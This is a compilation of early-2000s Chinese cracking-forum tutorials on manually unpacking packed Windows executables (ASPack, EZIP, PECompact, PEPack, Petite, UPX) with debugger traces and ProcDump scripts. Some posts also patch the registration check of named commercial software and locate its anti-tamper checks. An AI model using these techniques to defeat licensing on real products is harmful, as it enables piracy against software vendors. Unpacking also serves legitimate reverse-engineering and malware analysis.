0167:0040D39A B8CC100000 MOV EAX,000010CC
0167:0040D39F 50 PUSH EAX
0167:0040D3A0 038522040000 ADD EAX,[EBP+00000422]
0167:0040D3A6 59 POP ECX
0167:0040D3A7 0BC9 OR ECX,ECX
0167:0040D3A9 8985A8030000 MOV [EBP+000003A8],EAX
0167:0040D3AF 61 POPAD <--- 关键字，入口点就在附近
0167:0040D3B0 7508 JNZ 0040D3BA
0167:0040D3B2 B801000000 MOV EAX,00000001
0167:0040D3B7 C20C00 RET 000C
0167:0040D3BA 6800000000 PUSH 00000000
0167:0040D3BF C3 RET <--- 从这返回后我们就来到程序的真正入口点

下面就是程序的真正入口点

0167:004010CC 55 PUSH EBP
0167:004010CD 8BEC MOV EBP,ESP
0167:004010CF 83EC44 SUB ESP,00000044
0167:004010D2 56 PUSH ESI
0167:004010D3 FF15E4634000 CALL Near [`KERNEL32!GetCommandLineA`]

返回到真正入口点后，下指令 suspend 挂起调试器，打开 PEditor，按下 tasks 按钮，在列表中选中
你的程序，点右键，选择菜单命令 dump(full) 把进程保存到文件中，保存后杀掉进程。

上面的方法对其它的程序也一样适用（我测试了好几个程序，它们在调试器所显示的代码形式都差不多
），用这种方法脱壳后的程序可以直接运行。

附上 Procdump 的 Script：
[Aspack2.12]
L1=OBJR
L2=LOOK 61,75
L3=BP
L4=STEP
OPTL1=00000000
OPTL2=01010001
OPTL3=01010001
OPTL4=00030000
OPTL5=00000000

感谢你阅读这篇文章

2001.1.12 一块三毛钱


EZIP1.0脱壳手记

 标 题:EZIP1.0脱壳手记 ——娃娃/[CCG] (3千字)
发信人:1212
时 间:2001-11-16 12:23:47
详细信息:
EZIP1.0脱壳手记
Wrote by 娃娃/[CCG]

好久没有写有关于脱壳的文章了 主要是最近一直在研究Keygen的编写和密码学 而且也没有什么感兴趣的壳可写
小弟功力微薄 太难的写不出来 比如 DBPE1.5B4 或者 ASProtect1.3 太简单的又没有 ^_^ 今天到http://www.programmerstools.org/
溜达了一圈 乱七八糟的东西弄下来一大堆 其中就有一个这个东西 叫做EZIP 是个动态压缩软件 使用Generic Unpacker Win32 脱壳居
然非法操作 还以为会有点乐趣值得研究一下 没有想到使用TRW脱壳居然出奇的简单 ：（ 功夫不能白费 写出来给一些初学者参考一
下吧 不对的地方请多多执教！

脱壳的目标就是EZIP程序本身。

用TRW载入程序 按两下F10后来到外壳部分代码段：

017F:004582DC INT3
017F:004582DD MOV EBP,ESP /TRW的光条停在这里
017F:004582DF SUB EBP,0428
017F:004582E5 PUSH EBX
017F:004582E6 PUSH ESI
017F:004582E7 PUSH EDI
017F:004582E8 LEA EAX,[EBP+FFFFFC94]
017F:004582EE PUSH EAX
017F:004582EF CALL 004550F0
017F:004582F4 POP ECX
017F:004582F5 TEST EAX,EAX
017F:004582F7 JNZ 0045868A

这个东西的壳相当简单 比我所见过的任何壳都简单许多 一直按F10单步跟踪就到达了这里：

017F:00458539 PUSH EAX
017F:0045853A PUSH DWORD [EBP+FFFFFDEC]
017F:00458540 LEA EAX,[EBP+FFFFFC3C]
017F:00458546 PUSH EAX
017F:00458547 LEA EAX,[EBP+FFFFFC94]
017F:0045854D PUSH EAX
017F:0045854E CALL 00455005
017F:00458553 ADD ESP,BYTE +10
017F:00458556 AND DWORD[EBP+FFFFFC34]
017F:0045855D JMP SHORT 0045856C /跳到脱壳代码段
017F:0045855F MOV EAX,[EBP+FFFFFC34] /标志位－EAX
017F:00458565 INC EAX /循环一次后减一
017F:00458566 MOV [EBP+FFFFFC34],EAX /压入地址 EBP+FFFFFC34 中
017F:0045856C MOV EAX,[EBP+FFFFFBE4] /从这里开始程序开始进行循环 并在内存中脱壳
017F:00458572 MOVZX EAX,WORD [EAX+06] /取值
017F:00458576 CMP [EBP+FFFFFC34],EAX /对比循环标志
017F:0045857C JNC NEAR 0045861F /跳出到45861F的话则循环结束
017F:00458582 MOV EAX,[EBP+FFFFFDEC]
017F:00458588 MOV EAX,[EAX+0C]
017F:0045858B ADD EAX,[EBP+FFFFFBE0]

若没有在 0045857C 处跳出，你就会按F10跟到这里：

017F:004585F5 LEA EAX,[EBP+FFFFFC3C]
017F:004585FB PUSH EAX
017F:004585FC LEA EAX,[EBP+FFFFFC94]
017F:00458602 PUSH EAX
017F:00458603 CALL 00455050
017F:00458608 ADD ESP,BYTE +18
017F:0045860B MOV EAX,[EBP+FFFFFDEC]
017F:00458611 ADD EAX,BYTE +28
017F:00458614 MOV [EBP+FFFFFDEC],EAX
017F:0045861A JMP 0045855F /跳到上面继续进行循环脱壳
017F:0045861F PUSH DWORD [EBP+FFFFFDE8]

因此我们知道了这个壳的第一个关键处 就是45857C 只要这个时候下 BPX XXXXXXX （45857C中JNC语句后面的地址） 然后按
一下F5 程序就会自动停到循环后的第一个语句处 这时按F10继续跟踪会很快来到这里：

017F:00458662 POP ECX
017F:00458663 POP ECX
017F:00458664 MOV EAX,[EBP+FFFFFC2C]
017F:0045866A MOV EAX,[EAX+10]
017F:0045866D MOV ECX,[EBP+FFFFFC2C]
017F:00458673 ADD EAX,[ECX+1C]
017F:00458676 MOV [EBP+FFFFFC38],EAX
017F:0045867C MOV EAX,[EBP+FFFFFC38]
017F:00458682 POP EDI
017F:00458683 POP ESI
017F:00458684 POP EBX
017F:00458685 MOV ESP,EBP
017F:00458687 POP EBP
017F:00458688 JMP EAX /这个就是跳到程序的OEP的JMP
017F:0045868A POP EDI

从这个JMP跳出来 哦～～～ 整个世界清净了 重要找到了OEP ^_^ 赶快下命令 MAKEPE ———— 脱壳成功 程序没有对
输入表加密 脱壳后可以夸平台运行了 呵呵
脱壳后的程序370多K 看来这个东西的压缩比还是很高的阿

仅以此文献给我们可爱的组织CCG，希望它能蒸蒸日上。

娃娃(NYDoll)
CHiNA CrACKiNG GrOUp

标 题:加上一个PRCODUMP的脱壳脚本代码。 (268字)
发信人:1212
时 间:2001-11-16 13:30:47
详细信息:

[NYDoll's EZIP1.0]
L1=OBJR
L2=LOOK EB,0D
L3=BP
L4=WALK
L5=OBJR
L6=LOOK FF,E0
L7=BP
L8=STEP
OPTL1=00000000
OPTL2=01010001
OPTL3=01010001
OPTL4=00030000
OPTL5=00000000

完美脱壳 ^_^ 测试了3个不同的程序 ～～～～

娃娃(NYDoll)
CHiNA CrACKiNG GrOUp


Pecompact1.71

 标 题:脱pecompact1.71加的壳 (3千字)
发信人:8989
时 间:2002-2-5 23:35:41
详细信息:
脱pecompact1.71加的壳
对象：记事本，pecompact1.71未注册版加壳
难度：very very easy级
trw载入notepad.exe
1.
0167:0040AB26 00C3 ADD BL,AL
0167:0040AB28 9C PUSHF <-停在这儿
0167:0040AB29 60 PUSHA
0167:0040AB2A E802000000 CALL 0040AB31 F8追入-> 因为F10后程序运行
0167:0040AB2F 33C0 XOR EAX,EAX
0167:0040AB31 8BC4 MOV EAX,ESP
0167:0040AB33 83C004 ADD EAX,BYTE +04
2.按F10单步追踪，直到下面
0167:0040D39D 03DE ADD EBX,ESI
0167:0040D39F 49 DEC ECX
0167:0040D3A0 7472 JZ 0040D414*****
0167:0040D3A2 7870 JS 0040D414*****->改为g 40D414 跳出循环
0167:0040D3A4 668B07 MOV AX,[EDI]
0167:0040D3A7 2CE8 SUB AL,E8
0167:0040D3A9 3C01 CMP AL,01
0167:0040D3AB 7638 JNA 0040D3E5
3.来到这里
0167:0040D412 EB87 JMP SHORT 0040D39B
0167:0040D414 5F POP EDI 《－来到这里
0167:0040D415 59 POP ECX
0167:0040D416 33C0 XOR EAX,EAX
0167:0040D418 85C9 TEST ECX,ECX
0167:0040D41A 743B JZ 0040D457*****
0167:0040D41C 8BF7 MOV ESI,EDI
0167:0040D41E 33C0 XOR EAX,EAX
0167:0040D420 83F904 CMP ECX,BYTE +04
0167:0040D423 7232 JC 0040D457*****
0167:0040D425 87DB XCHG EBX,EBX
0167:0040D427 87DB XCHG EBX,EBX
0167:0040D429 87DB XCHG EBX,EBX
0167:0040D42B 87DB XCHG EBX,EBX
0167:0040D42D 87DB XCHG EBX,EBX
0167:0040D42F 8B1E MOV EBX,[ESI]------+<
0167:0040D431 03C3 ADD EAX,EBX
0167:0040D433 D1E3 SHL EBX,1
0167:0040D435 83D301 ADC EBX,BYTE +01
0167:0040D438 33C3 XOR EAX,EBX
0167:0040D43A 83C604 ADD ESI,BYTE +04
0167:0040D43D 83E904 SUB ECX,BYTE +04
0167:0040D440 7415 JZ 0040D457 *****改为g 40d457 跳出循环
0167:0040D442 83F904 CMP ECX,BYTE +04
0167:0040D445 73E8 JNC 0040D42F----->不断循环跳上去
0167:0040D447 BA04000000 MOV EDX,04
0167:0040D44C 2BD1 SUB EDX,ECX
0167:0040D44E 2BF2 SUB ESI,EDX
0167:0040D450 B904000000 MOV ECX,04
0167:0040D455 EBD8 JMP SHORT 0040D42F
0167:0040D457 3B8567974000 CMP EAX,[EBP+00409767]
0167:0040D45D 744D JZ 0040D4AC
4.按F10
0167:0040D52A 7422 JZ 0040D54E 这里会往下跳
0167:0040D52C 8D956BA14000 LEA EDX,[EBP+0040A16B]
0167:0040D532 6A40 PUSH BYTE +40
0167:0040D534 52 PUSH EDX
0167:0040D535 FFB53D974000 PUSH DWORD [EBP+0040973D]
0167:0040D53B FFB539974000 PUSH DWORD [EBP+00409739]
0167:0040D541 E8F40A0000 CALL 0040E03A
0167:0040D546 85C0 TEST EAX,EAX
0167:0040D548 0F859DFDFFFF JNZ NEAR 0040D2EB
0167:0040D54E 61 POPA ××××
0167:0040D54F 9D POPF ××××
0167:0040D550 50 PUSH EAX ××××
0167:0040D551 68CC104000 PUSH DWORD 004010CC ××××
0167:0040D556 C20400 RET 04
5.终于完工了！yeah!

作者：风飘雪
http://fpx.yeah.net
qq:19566535于02.2.5


PEPack1.0

 标 题:PEPack1.0脱壳手记 (2千字)
发信人:1212
时 间:2001-11-17 6:48:13
详细信息:
PEPack1.0脱壳手记
Worte By 娃娃/[CCG]

这个壳比EZIP1.0的壳稍微复杂一点 循环比较多 而且左跳右跳 很容易让Cracker迷失方向 不过只要有信心
在关键处下好断点 认真仔细的跟踪 我相信你也一定可以搞定它的 ^_^ 好了不废话 开始吧

这次的试验品是一个使用汇编编写的程序 很多人都喜欢用NOTEPAD当作实验品 加壳后再脱壳 但是我比较喜欢使用汇编编写的程序
因为汇编编写的程序非常好判断是否为真正的入口点 一看到 COMMANDLINEA 就证明你到了～～～

用TRW载入程序 下FALLUS OFF命令 F10两下到这里：

017F:00406000 PUSHA /光标停在这里
017F:00406001 CALL 00406006 /这个CALL一定要进入 脱壳的关键CALL
017F:00406006 POP EBP
017F:00406007 SUB EBP,BYTE +06
017F:0040600A CMP BYTE [EBP+053E],01
017F:00406011 JZ NEAR 40625F

进入这个CALL后小心的跟踪很快就来到第一个关键部分：

017F:004060D4 JNC 0040610E
017F:004060D6 DEC EAX
017F:004060D7 JZ 0040610E
017F:004060D9 JS 0040610E
017F:004060DB MOV BX,[ECX+EDI]
017F:004060DF CMP BL,E8
017F:004060E2 JZ 004060F3
017F:004060E4 CMP BL,E9
017F:004060E7 JZ 004060F3
017F:004060E9 CMP BX,25FF
017F:004060EE JZ 004060FF
017F:004060F0 INC ECX
017F:004060F1 JMP SHORT 004060D6

很明显4060F1处构成一个循环 只要EAX寄存器指不为0 程序会一直在这里循环380多次 ^_^ 我可没有时间看着它
一步一步的循环 于是我们来观察这个循环里面的跳转 发现跳的最远的就是4060D7处的 JZ 0040610E 于是我们
在40610E处下断点，按F5～～～～ 跳出这个循环了

接下来是很多比较大的循环 一个循环里面大概有7，8个判断语句 和跳转 这时只要小心的在每一个条件跳转语句上都下上断点
不断的排除循环内的断点 很快就会找到真正的入口点了

这个就是最后一个大循环的结尾部分 只要下断点 BPX 40625F就可以跳出循环 406270处的跳转语句就是跳到正确OEP的地址

017F:00406248 POP ECX
017F:00406249 POP EDI
017F:0040624A MOV [EDI],EAX
017F:0040624C POP ESI
017F:0040624D POP EDX
017F:0040624E POP EBX
017F:0040624F ADD ESI,BYTE +04
017F:00406252 ADD EDI,BYTE +04
017F:00406255 JMP SHORT 00406214
017F:00406257 ADD EDX,BYTE +14
017F:0040625A JMP 004061B4
017F:0040625F MOV EAX,[EBP+0557]
017F:00406265 ADD EAX.[EBP+058B]
017F:0040626B MOV [ESP+1C],EAX
017F:0040626F POPA
017F:00406270 JMP EAX

跳过 406270 后下命令MakePE，就可以成功脱壳了～～～～～ 测试后可以夸平台运行

————————————————————————————————————————————————

脱壳后当然要制作出一个脚本方便大家使用了 ^_^
PROCDUMP1.62带有PEPack的脱壳脚本 但是根本就不好用 下面的是我自己写的 经过测试完美脱壳：

[NYDoll's PEPack]
L1=OBLR
L2=LOOK E9,76,FF,FF,FF /第一处循环入口点的机器码
L3=BP
L4=WALK
L5=OBLR
L6=LOOK FF,E0 /第二处循环入口点的机器码
L7=BP
L8=STEP
OPTL1=00000000
OPTL2=01000001
OPTL3=01010001
OPTL4=00030000
OPTL5=00000000

仅以此文献给我们可爱的组织CCG，希望它能蒸蒸日上。

娃娃(NYDoll)
CHiNA CrACKiNG GrOUp


petite v2.2

 标 题:手动脱壳的教程（由petite v2.2加壳） (4千字)
发信人:leo_cyl1
时 间:2001-11-26 15:08:09
详细信息:
虽然已经有petite v2.2的脱壳机，但我认为手动脱壳是一个cracker必须掌握的基本技能之一，有必要学习ImportREC重建IAT的技巧。
就拿embird[bcg]在论坛贴的问题做例子吧！
目标软件：http://ftp.eware.com.cn/pub/utility/reader/RB_SetupV1.46.zip
工具：trw2000,ImportREC v1.3，冲击波2000

一，找OEP
很简单，用冲击波2000可看到OEP在426F67处。

二，保存主程序
在426F67处设断点，中断后下命令：“makepe c:\dump.exe”。

三，重建IAT
下命令“suspend”挂起进程。回到window，运行ImportREC，选ReadBook.exe，
输入OEP（4526f67-40000 = 26f67），
"IAT AutoSearch"，可得到IAT，但还有一些指针未解决，点击“Get Import”，“AUTO TRACE”后，全部解决。
“fix dump”后生成dump_.exe。运行它非法操作。用trw2000跟踪找到非法操作的地方：

017F:0044DCF4 33DB XOR EBX,EBX
017F:0044DCF6 385814 CMP [EAX+14],BL
017F:0044DCF9 7409 JZ 0044DD04
017F:0044DCFB 838E14010000FF OR DWORD [ESI+0114],BYTE -01
017F:0044DD02 EB63 JMP SHORT 0044DD67
017F:0044DD04 53 PUSH EBX
017F:0044DD05 FF15FC364500 CALL [4536FC] <----这是非法操作的地方
017F:0044DD0B 3BC3 CMP EAX,EBX
017F:0044DD0D 7D0A JNL 0044DD19
017F:0044DD0F 53 PUSH EBX
017F:0044DD10 E863000000 CALL 0044DD78

查看[4536FC]的内容发现该地址指向ole32.dll。看来ImportREC并没有完全修复IAT，重新运行ImportREC
输入OEP，点击"IAT AutoSearch"，发现默认的RVA是：00052FFC，Size是00000394。
但是00052FFC+00000394=53390小于4536FC！原来petite 的外壳欺骗了ImportREC，使它得不到完全的IAT
那么我们就手动输入一个范围给它。我把Size改为00000709，加大查找范围。（00000709是个经验值，可以自己试出来）。"Get Import"，“AUTO TRACE”后，还有一个指针未解决，它指向Cxxxxxxx，不太合理，而且程序也位使用它，那就随便给它一个函数名吧（我选GetTickCount）。“fix dump”后再次生成dump_.exe。
这样dump_.exe可以运行了。但还有暗桩：
017F:00417CE6 C6470165 MOV BYTE [EDI+01],65
017F:00417CEA FF75F0 PUSH DWORD [EBP-10]
017F:00417CED FF75D8 PUSH DWORD [EBP-28]
017F:00417CF0 FF75E8 PUSH DWORD [EBP-18]
017F:00417CF3 E8BB060000 CALL 004183B3 <-----此call是暗桩，F8进入
017F:00417CF8 83C40C ADD ESP,BYTE +0C
017F:00417CFB 85C0 TEST EAX,EAX
017F:00417CFD 0F8516010000 JNZ NEAR 00417E19
017F:00417D03 53 PUSH EBX
017F:00417D04 53 PUSH EBX

017F:004183B3 FF742408 PUSH DWORD [ESP+08]
017F:004183B7 FF742408 PUSH DWORD [ESP+08]
017F:004183BB E80CF1FFFF CALL 004174CC <-----，F8进入
017F:004183C0 2B442414 SUB EAX,[ESP+14]
017F:004183C4 59 POP ECX
017F:004183C5 59 POP ECX
017F:004183C6 F7D8 NEG EAX
017F:004183C8 1BC0 SBB EAX,EAX
017F:004183CA 40 INC EAX
017F:004183CB C3 RET

017F:004174CC 8B4C2408 MOV ECX,[ESP+08] ----------+
017F:004174D0 83C8FF OR EAX,BYTE -01 |
017F:004174D3 8BD1 MOV EDX,ECX |
017F:004174D5 49 DEC ECX |
017F:004174D6 85D2 TEST EDX,EDX |
017F:004174D8 7423 JZ 004174FD |
017F:004174DA 56 PUSH ESI |
017F:004174DB 8D5101 LEA EDX,[ECX+01] | 典型的crc32
017F:004174DE 8B4C2408 MOV ECX,[ESP+08] |
017F:004174E2 57 PUSH EDI |
017F:004174E3 0FB631 MOVZX ESI,BYTE [ECX] |
017F:004174E6 0FB6F8 MOVZX EDI,AL |
017F:004174E9 33F7 XOR ESI,EDI |
017F:004174EB C1E808 SHR EAX,08 |
017F:004174EE 8B34B590594600 MOV ESI,[ESI*4+00465990] |
017F:004174F5 33C6 XOR EAX,ESI |
017F:004174F7 41 INC ECX |
017F:004174F8 4A DEC EDX |
017F:004174F9 75E8 JNZ 004174E3 ---------------|
017F:004174FB 5F POP EDI
017F:004174FC 5E POP ESI

后面怎么该，我就不多说了，留给大家吧！


彩票快车白金版v90

 标 题:论"彩票快车白金版v90"的脱壳+爆破,---->新手手动脱壳必看!! (8千字)
发信人:柯男(一名侦探)
时 间:2001-9-14 19:50:12
详细信息:
发信人:柯南(我可是一位侦探呀!!!) <<---这个白痴又来了!!
题目:论彩票快车白金版v9.0的脱壳和爆破!
目的: 1.)教新手们基本的手动脱壳技巧,如果熟练掌握,好处无穷!!
2.)本文没有太多的将注册码的破解.
(我破不了这么复杂的注册码,至于爆破吗我看就是 经验+运气+灵感).

本文只是适合新手手动脱壳的入门和爆破入门,高手们不要笑小弟呀!
(可以多多提意见,我是很谦虚的!).
用到的工具:
1.)softice 4.05
2.)icedump v6.0.1.6
3.)filemon v245
4.)peditor v1.7
5.)ImportREC v 1.2beta2
我没有用trw2000,因为这个软件解密时检查Trw2000,我看是因为这软件是中国人写的吧!!(比较了解国情).

一)脱壳部分:
1.)首先我们用filemon来检查文件的类型:
相信大家都会用吧:烤,怎么是petite2.2 ,没搞过呀!!!.别急.

2.)当然是检查程序的pe结构了:
打开peditor,选中程序,用笔记录以下几个数据:
Entry Point:169042.
Image base :400000
size of image:16a000.
3.)寻找入口点(OEP):先运行icedump->再运行softice loader-->
再Ctrl+d
好了准备工作完成了,该选择断点了.一般大家脱壳时用
bpx loadlibrarya do "dd esp->4"(经验,好好看看Pe结构并懂一些Win32编程即知)
再Ctrl+d-->再load program.
断了吧这是loadlibrary函数的入口,该函数是Dll中的不用理.
bc *,按F12 n下,注意领空的变化呀!,到了主程序的领空后停下.
当前代码如下:
0167:004E7679 JZ 004E7683
0167:004E767B ADD ESP,2A
0167:004E767E JMP 00569015
0167:004E7683 MOV ESI,000E5000
0167:004E7688 ADD ESI,EBP
0167:004E768A LEA ECX,[EBP+00000800]
0167:004E7690 MOV EBX,EAX
0167:004E7692 CMP DWORD PTR [ESI],00
0167:004E7695 JZ 004E78A9 --->注意这是个捷径.
0167:004E769B PUSH ECX
0167:004E769C PUSH ECX
0167:004E769D CALL [EBP+00000790]
0167:004E76A3 TEST EAX,EAX ---->注意这是用F12跳到的第一条指令.
0167:004E76A5 JZ 004E778A
0167:004E76AB MOV EDI,EAX
0167:004E76AD ADD EAX,[EAX+3C]
0167:004E76B0 MOV EAX,[EAX+78]
0167:004E76B3 PUSH DWORD PTR [EDI+EAX+18]
0167:004E76B7 MOV ECX,[EDI+EAX+24]
0167:004E76BB ADD ECX,EDI
0167:004E76BD PUSH ECX
------------------------CPKCBJB!.petite+2679----------------
程序第一次来到004e76a3,正常的话用F10开道(用F12就出去了),可是我参考了精华3上的如下文章:

{标 题:脱壳----对用Petite2.2加壳的程序进行手动脱壳的一点分析 (5千字)
发信人:ljttt
时 间:2000-7-27 19:57:10
详细信息:
脱壳----对用Petite2.2加壳的程序进行手动脱壳的一点分析 }

那上说在这时应向上找入口点的捷径.所以我直接用指令g 004e78a9来到:
(当然,你有耐心的话不用捷径用F10最后也可以来到这地方)

0167:004E78A4 SUB EBX,06
0167:004E78A7 JMP 004E786E
0167:004E78A9 POP ECX --->g 指令来到的点.
0167:004E78AA POP ESI
0167:004E78AB STD
0167:004E78AC XOR EAX,EAX
0167:004E78AE MOV ECX,00000356
0167:004E78B3 CALL 00569039 --->F8进入.
0167:004E78B8 ADD [EAX],AL
0167:004E78BA ADD [EAX],AL
0167:004E78BC ADD [EAX],AL
0167:004E78BE ADD [EAX],AL
0167:004E78C0 ADD [EAX],AL
------------------------CPKCBJB!.petite+288F----------------------

必须进入不然又掉了.来到:
0167:00569039 POP EDI
0167:0056903A REPZ STOSB
0167:0056903C POPAD
0167:0056903D POPF
0167:0056903F ADD ESP,08
0167:00569042 JMP 004C3E28 --->很关键的跳(OEP的跳).
0167:00569047 JMP KERNEL32!GetCurrentThreadId
0167:0056904C JMP KERNEL32!VirtualFree
0167:00569051 JMP KERNEL32!LocalFree
------------------------CPKCBJB!+0039----------------------

接着来到OEP.:
0167:004C3E28 PUSH EBP --->程序的入口点
0167:004C3E29 MOV EBP,ESP
0167:004C3E2B ADD ESP,-0C
0167:004C3E2E PUSH EBX
0167:004C3E2F MOV EAX,004C3B60
0167:004C3E34 CALL 004061A8
0167:004C3E39 MOV EBX,[004C6B34]

-----------------------CPKCBJB!+000C2E28------------------------
呵呵,OEP找到了,成功一半了.
下指令/dump 400000 16da000 1.exe
退出softice和icedump.

4.)修补dump出来的文件:
打开peditor,装入1.exe.点击section按钮,右键选dumpfixer,最后exit.

5.)修补import表:
运行ImportREC1.2beta2，在Attach to an Active Process下拉框中选中importrec.exe
(首先确保原来的程序在运行)，
然后在左下方OEP中输入C3E28就是(47e910-400000)，按IAT AutoSearch。出现对话框Found Something!=》
“Found address which may be in the Original IAT.Try 'Get Import'”
按Get Import，再按Show Invalids 按钮，在Imported Function Found框中会有很多蓝色的项目。
在其中点右键，选Trace Level1(Disasm)，再按Show Invalids 按钮，可以看到所有的dll都为valid:YES
字样。输入表到此完成。
再选择Add new section(缺省是选上的),按Fix Dump，并选择刚才Dump出来的文件1.exe。
ImpRECT 会在该文件所在目录生成一个新的文件：test_.exe ,这就是修复后的文件。
至此"脱壳"工作终于大功告成，点击1_.exe可以运行了。

呵呵:
关于为什么一开始我mail给night007的软件不好使,是因为我没做第五步,但是没修补import表却可以在本机
上正常运行,这是什么意思,请高手指点一二.

二)爆破开始了(我虽然是个侦探,可是我可不愿算那可恶的注册码 <<----这个家伙又在吹,他不行).
打开软件,来到注册画面,添入注册码(假的,要和用户名<机器生成码>一样长呀,不然注册按钮不可用)
我添的是:
默认的注册名,和注册名一样常的1111111....注册码!!
打开softice,设断点bpx hmemcpy--->Ctrl+n---->点击注册---->F12来到程序领空.
再一路按F10来到:
0167:004A1DAD CALL 00403F84
0167:004A1DB2 MOV EDX,[EBP-24]
0167:004A1DB5 POP EAX
0167:004A1DB6 CALL 00403E8C
0167:004A1DBB JZ 004A1DC1
0167:004A1DBD MOV BYTE PTR [EBP-09],00
0167:004A1DC1 DEC EBX
0167:004A1DC2 TEST EBX,EBX
0167:004A1DC4 JNZ 004A1D7A
0167:004A1DC6 CMP BYTE PTR [EBP-09],00
0167:004A1DCA JZ 004A1F64 --->关键跳.上面的算法太复杂.我不干了
0167:004A1DD0 LEA EDX,[EBP-28]
0167:004A1DD3 MOV EAX,[ESI+000002FC]
0167:004A1DD9 CALL 0042D8D4

这样爆破虽然不是很完美,但是软件已经可以用了.
剩下的我是不行了，谁行谁来吧!!

篇后语:
我是一个Crack新手,在短短的二周不到的时间里,获得了不错的战绩,首先要感谢teacher toye,是他的
论坛和课本启发了我,再有我也应该感谢所有在看学论坛的前辈们,是你们的帮助和关怀使我们迅速成长
起来,这是我的处女文章,本来我是一个侦探(<----这个逼又来了,嘿),所以文笔较差,但我不会辜负学长
们的教导,我会继续努力提高Crack水平,写出更好的文章的!!
柯男于2001/9/14.
看学前辈,这是我的处女文章呀!,你要是看好了请收入论坛精华4,呵呵!

标 题:重要声名,我的文章的爆破部分有问题,请高手帮助. (空)
发信人:柯南(一名侦探)
时 间:2001-9-14 22:32:03
阅读次数:1
详细信息:

标 题:他的那些功能好像根本就没有，有可能是掏钱后再给你另一个真正的文件！ (空)
发信人:洋白菜
时 间:2001-9-15 10:10:27
阅读次数:3
详细信息:


SSReader

标 题:pj关于UPX被UPXPR修改后的心得（软件：SSReader）
发信人Foxsky
时 间:2002/02/03 11:41am
详细信息:

工具：
peditor1.7
Ultraedit 9.0(最新版～！呵呵！不过那个版本不重要)
fi2.45
参考资料：看雪论坛精华3

SSReader中pdg2.dll被UPX加壳后修改，大多数为UPX0之类该为UPX?只要将对应该还原即可。但是pdg2.dll将UPX?全为0所以在fi里面sectionName里面为空。Ultraedit也找到修改出。我用peditor修改sectionName，随便该一个四个字节的符号。接着再在ultraedit里面将其对应的该为UPX0～UPX1（注意大写），然后在0x3e0H处找到0c 09的代码，将其前面的四个字节该为UPX!。最后用upx －d解决！收工！！！！

感谢： 所有写过心得的朋友！！！！希望你们再接再厉！！～～～
呵呵：）我捡现成的！！


UPX

 标 题:脱！脱 ！脱 ------？！ (841字)
发信人:KINGSUN
时 间:2001-11-29 22:12:25 8
详细信息:
  脱！脱！脱 -------当然是脱壳，脑筋别打坏主意！用UPXPR处理的EXE和DLL程序无法脱壳的问题想必伤了许多人的心，我的头亦发烧！随手抓了个宝贝，一招使出辟邪剑法，杀的UPX喝洗脚水！
打斗剧情：
        宝贝：dREAMtHEATER写的UPX Shell 0.9
      示例：SSREADER354的SSREADER.EXE，Pdg2.dll
辟邪剑法: 用HEX EDIT打开SSREADER.EXE and Pdg2.dll在程序开始下一点找文本“rsrc”，“rsrc”的上一点有文本“１”　和“０”，改成“upx1”　和“upx0”，再找文本“１.２０”，　其后有文本“!”，改成“upx!" 保存。为什么这么罗嗦？每个文件的地址不同嘛！upx=555058(hex), 用upx shell 0.9解压缩, 运行ssreader一切OK! 赶快去改pdg2.dll的Bug!

               非常感谢dREAMtHEATER！

                                        KINGSUN

       2001-11-29

         版权所有


天然码输入法

标 题:天然码输入法
发信人leo-cyl
时 间:2002/01/16 12:50pm
详细信息:

目标软件：天然码输入法（对应小球兄昨天的帖子）
目标文件：trm32.ime;getdiskserial.exe
加壳方式：UPX 1.03
使用工具：trw2000
Procdump
peditor
Imprec 1.3
URL: http://www.chinatrm.com/download/file/suggest/setup.exe
本文作者：leo_cyl

加密特点：在比较注册码前，先产生另外的进程调用vxd绕过window api读指纹盘，如果没有指纹盘就不比较注册码。其实这个软件是明码比较不用脱壳的，但对dll脱壳是很多初学者还没掌握的基本技能，所以还是多此一举把trm32.ime的壳脱了。（trm32.ime说穿了就是一个dll）
dll壳脱的难点在于dll是动态加载的（废话！），所以不能用loader。那么我们只好在dll的entry point加上int 3的指令了。
用peditor装入\windows\system\trm32.ime,可看到entry point = 0003D210；Image Base = 10000000；用peditor的FLC计算entry point（1003d210）的偏移为：00013610。再用二进制编辑器在偏移为00013610处机器码为80H的内容改为CC（即 int 3的机器码）。
现在运行trw2k，下命令“I3HERE ON”，打开任务条的输入法管理器。选天然码，点“属性”将激活trw2k，停在dll的入口处：
017F:1003D210 CC INT3
017F:1003D211 7C24 JL 1003D237 (NO JUMP)
017F:1003D213 0801 OR [ECX],AL
017F:1003D215 0F8581010000 JNZ NEAR 1003D39C
017F:1003D21B 60 PUSHA
017F:1003D21C BE00A00210 MOV ESI,1002A000

“r eip eip-1”，“d eip”，将017F:1003D210处改为80H：
017F:1003D210 807C240801 CMP BYTE [ESP+08],01
017F:1003D215 0F8581010000 JNZ NEAR 1003D39C
017F:1003D21B 60 PUSHA
017F:1003D21C BE00A00210 MOV ESI,1002A000
017F:1003D221 8DBE0070FDFF LEA EDI,[ESI+FFFD7000]
017F:1003D227 57 PUSH EDI

f10跟踪，来到这里：
017F:1003D344 95 XCHG EAX,EBP
017F:1003D345 8A07 MOV AL,[EDI]
017F:1003D347 47 INC EDI 《===EDI为引入的函数名
017F:1003D348 08C0 OR AL,AL
017F:1003D34A 74DC JZ 1003D328
017F:1003D34C 89F9 MOV ECX,EDI
017F:1003D34E 57 PUSH EDI
017F:1003D34F 48 DEC EAX
017F:1003D350 F2AE REPNE SCASB
017F:1003D352 55 PUSH EBP
017F:1003D353 FF9634DA0300 CALL NEAR [ESI+0003DA34] 〈==getprocessaddress
017F:1003D359 09C0 OR EAX,EAX
017F:1003D35B 7407 JZ 1003D364
017F:1003D35D 8903 MOV [EBX],EAX
017F:1003D35F 83C304 ADD EBX,BYTE +04
017F:1003D362 EBE1 JMP SHORT 1003D345

以上代码为恢复引入表。继续f10跟踪，来到这里：
017F:1003D38C EBE2 JMP SHORT 1003D370
017F:1003D38E 240F AND AL,0F
017F:1003D390 C1E010 SHL EAX,10
017F:1003D393 668B07 MOV AX,[EDI]
017F:1003D396 83C702 ADD EDI,BYTE +02
017F:1003D399 EBE2 JMP SHORT 1003D37D
017F:1003D39B 61 POPA 〈====很眼熟吧！
017F:1003D39C E906BBFCFF JMP 10008EA7〈====OEP

所以OEP在10008EA7处。在10008EA7处DUMP出文件。先看一下trm32.ime的IMTE。“MOD32 TRM32.IME”
可看到IMTE 为：xxxxxxxx；“PEDUMP C:\TRM32.DLL xxxxxxxx”。并挂起进程“SUSPEND”。
回到window运行Imprec 1.3。在任务列表选rundll32.exe 点“pick dll”找到trm32.ime。输入OEP（8EA7）
